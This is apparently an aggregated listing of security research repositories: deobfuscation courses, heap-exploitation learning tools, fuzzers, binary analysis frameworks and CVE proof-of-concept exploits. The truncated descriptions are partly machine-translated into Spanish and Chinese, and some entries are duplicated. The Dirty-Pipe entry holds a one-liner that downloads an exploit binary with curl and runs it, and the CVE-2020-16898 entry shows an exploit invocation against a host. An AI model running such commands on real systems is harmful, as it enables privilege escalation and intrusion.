vmp2

Introducción Este repositorio es una colección de herramientas heredadas para trabajar con binarios protegidos con VMProtect 2. Estas herramientas permiten desempaquetar, analizar y realizar desvirtualización experimental de software protegido con VMProtect 2. En el núcleo de esta colección se...

ABD

高级二进制反混淆 本仓库包含了2020年在全球网络安全营（GCC）东京和安全营全国研讨会上举办的“高级二进制反混淆”课程材料。 课程简介 逆向工程并不容易，尤其当二进制代码被混淆时。一旦实施了混淆，仅凭朴素的技术将无法准确分析该二进制。在本课程中，你将学习混淆原理（特别是恶意软件使用的）、混淆代码分析的理论与实践，以及如何编写自己的反混淆工具。我们将深入探讨数据流分析和基于SAT/SMT的二进制分析（例如符号执行），以使混淆失效。 课程大纲 本课程关于二进制反混淆，面向希望将编写自己工具的技能纳入武器库的安全分析师和研究人员（萌芽阶段）。课程结束时，学员将能够：...

IDA2Obj

IDA2Obj IDA2Obj 是一个实现 SBI（静态二进制插桩） 的工具。 工作流程很简单： 直接从可执行 二进制文件 中转储 目标文件（COFF） 。 链接 这些 目标文件 为一个新的二进制文件，与旧文件几乎相同。 在转储过程中，你可以 在任何位置插入任何数据/代码 。 SBI 只是其中一种使用场景，对黑盒模糊测试尤其有用。 使用方法 0. 准备环境： 在 idapython.cfg 中设置 AUTOIMPORTCOMPATIDA695 = YES，以支持旧版 IDA 6.x 风格的 API。 安装依赖：pip install cough 1. 创建一个文件夹作为工作空间。 2...

CVE-2021-41091

CVE-2021-41091 Este exploit ofrece una mirada en profundidad a la vulnerabilidad de seguridad CVE-2021-41091 y proporciona una guía paso a paso sobre cómo utilizar el script de exploit para lograr una escalada de privilegios en un host. Resumen de la Vulnerabilidad CVE-2021-41091 es una falla en...

heappy

🙂 Heappy：一个快乐的堆编辑器 Heappy 是一款基于 gdb/gef 的编辑器，可帮助你在漏洞利用开发过程中处理堆。 该项目应被视为一种教学工具，有助于理解堆在进程生命周期中的演化过程。它的创建是为了简化最常见堆利用技术的学习，并支持你解决与此主题相关的二进制利用 CTF。 主要特性 这是 Heappy 实现的功能： ✅ 获取堆快照并相互比较 ✅ 立即识别堆 bin 的类型和字段 ✅ 通过十进制、十六进制或字符串搜索和编辑堆值 ✅ 借助堆状态的全景视图轻松定位 ✅ 在注释列中记录关于某个单元格的备注 ✅ 享受浅色和深色模式 快速开始 以下说明将帮助你快速安装和运行 Heappy...

heappy

🙂 Heappy: a happy heap editor Heappy is an editor based on gdb/gef that helps you to handle the heap during your exploitation development. The project should be considered a didactic tool useful to understand the evolution of the heap during the process life cycle. It has been created to simplify...

DECAF

DECAF DECAF（Dynamic Executable Code Analysis Framework 的缩写）是一个基于 QEMU 的二进制分析平台。 DECAF++ DECAF++ 是 DECAF 的新版本，污点分析速度提高约 2 倍，据我们所知，它是最快的全系统动态污点分析框架。这使得可用性大大提高，当不存在可疑（被污染）输入时，仅产生 4% 的开销（SPEC CPU2006）。即使在重污点分析工作负载下，DECAF++ 的性能也更好，由于它的弹性，在 nbench 上大约快 25%。DECAF++...

galer

galer root@kitploit: /' '/'' | | /'' ' | || | | | '\ ','\ | /' @dwisiswant0 A fast tool to fetch URLs from HTML attributes by crawl-in. Inspired by the @omespino Tweet, which is possible to extract src, href, url and action values by evaluating JavaScript through Chrome DevTools Protocol...

android_demystification_toolbox

Android Demystification Toolbox Propósito ADT es un conjunto de herramientas de ejecución simbólica basado en Miasm diseñado para ayudar a modelar el comportamiento de las aplicaciones, investigar y probar vulnerabilidades de seguridad, y facilitar la ingeniería inversa de código hostil...

PwnCtfTool

ret2win 挑战的工具。 root@kitploit: / \ / / // / / / / / // / | /| / / / / / / / / / / / / / / /| |/ |/ / / / / // // / / / / // / // / / // |/|// ///// // /// 作者：DiegoAltF4 和 Dbd4 简介 它既可以在本地使用，也可以远程使用（指定 IP 和端口）。它会自动查找栈中存储的指令指针偏移量。 此外，还可以配置为返回一个 shell。默认情况下，它会打印连接接收到的数据（可能的 flag）。...

CVE-2024-32019-Netdata-ndsudo-PATH-Vulnerability-Privilege-Escalation

🚨 CVE-2024-32019 - Explotación de la vulnerabilidad de PATH en ndsudo de Netdata LPE a Root Un exploit basado en Python para CVE-2024-32019 , una vulnerabilidad de escalada de privilegios local de alta severidad en el agente de Netdata , que aprovecha un binario SUID mal configurado ndsudo que no...

gdbfuzz

GDBFuzz: Debugger-Driven Fuzzing This is the companion code for the paper: 'Fuzzing Embedded Systems using Debugger Interfaces'. A preprint of the paper can be found here https://publications.cispa.saarland/3950/. The code allows the users to reproduce and extend the results reported in the paper...

CrackMapExecWin

CrackMapExecWin 描述 适用于 Windows 的出色 CrackMapExec 工具编译版本 功能特性 最新版本 2.2 为 x86 编译，因此支持 x86 和 x64 平台 使用方法 1. 下载完整存档 2. 解压并运行 crackmapexec.exe 3. 搞定 旧版本 浏览发布页面查找旧版本 免责声明与许可 请勿用于非法用途 我不拥有 CrackMapExec 品牌的任何权利 最后但同样重要的是，防病毒软件可能会将部分二进制文件报告为黑客工具甚至恶意软件：这是一个已知的常见问题。如果你不信任此编译版本： 1. 直接不要下载。 2. 按照该教程自行编译。 致谢 感谢...

extrude

extrude 分析二进制文件，检测缺失的安全特性、信息泄露等。 🚧 Extrude 正处于早期开发阶段，目前仅支持 ELF 和 MachO 二进制文件。对 PE（Windows）二进制文件的支持即将推出。 用法 root@kitploit: Usage: extrude flags file Flags: -a, --all Show details of all tests, not just those which failed. -w, --fail-on-warning Exit with a non-zero status even if only warnings are...

Dirty-Pipe

Exploit en una línea CVE-2022-0847 root@kitploit: curl,-s,-k,https://raw.githubusercontent.com/carlosevieira/Dirty-Pipe/main/exploit-static,-o,/tmp/exploit-dirty-pipe;chmod,+x,/tmp/exploit-dirty-pipe;/tmp/exploit-dirty-pipe...

CVE-2018-8941

CVE-2018-8941: Ejecución de código en D-Link DSL-3782 Prueba de concepto Adam Simuntis :: https://twitter.com/adamsimuntis Mindaugas Slusnys :: https://twitter.com/mislusnys La vulnerabilidad de desbordamiento de búfer fue encontrada en el binario "/userfs/bin/tcapi" que se utiliza como envoltori...

CVE-2019-5736-POC

通过 RunC 逃逸 Docker CVE-2019-5736 的概念验证代码 此 POC 主要基于 YuvalAvra 的 POC。 我不对本 POC 中使用的代码主张任何功劳。 有关此漏洞的更多信息以及如何利用它的演示，请参阅工作表。 工作表中的信息基于 Twistlock Labs 的博客文章。 使用方法 此 POC 能够修改主机系统上的二进制文件，因此建议在虚拟机中进行。 该 POC 会覆盖主机上的 runC，将其替换为用于设置持久远程桌面（使用 VNC）的代码 克隆仓库： root@kitploit: $ git clone...

ollydbg-binary-execution-visualizer

This repository does not have a README...

ollydbg-binary-execution-visualizer

Este repositorio no tiene un README...

CVE-2020-16898

Este es un ejercicio educativo. Úselo bajo su propio riesgo. Exploit CVE-2020-16898 PoC de Binario para Windows root@kitploit: ./CVE-2020-16898.exe -t -u will run the exploit. ./CVE-2020-16898.exe -t 10.10.10.1 -u Administrator Ver mis otros exploits aquí Esta es una lección sobre por qué no debe...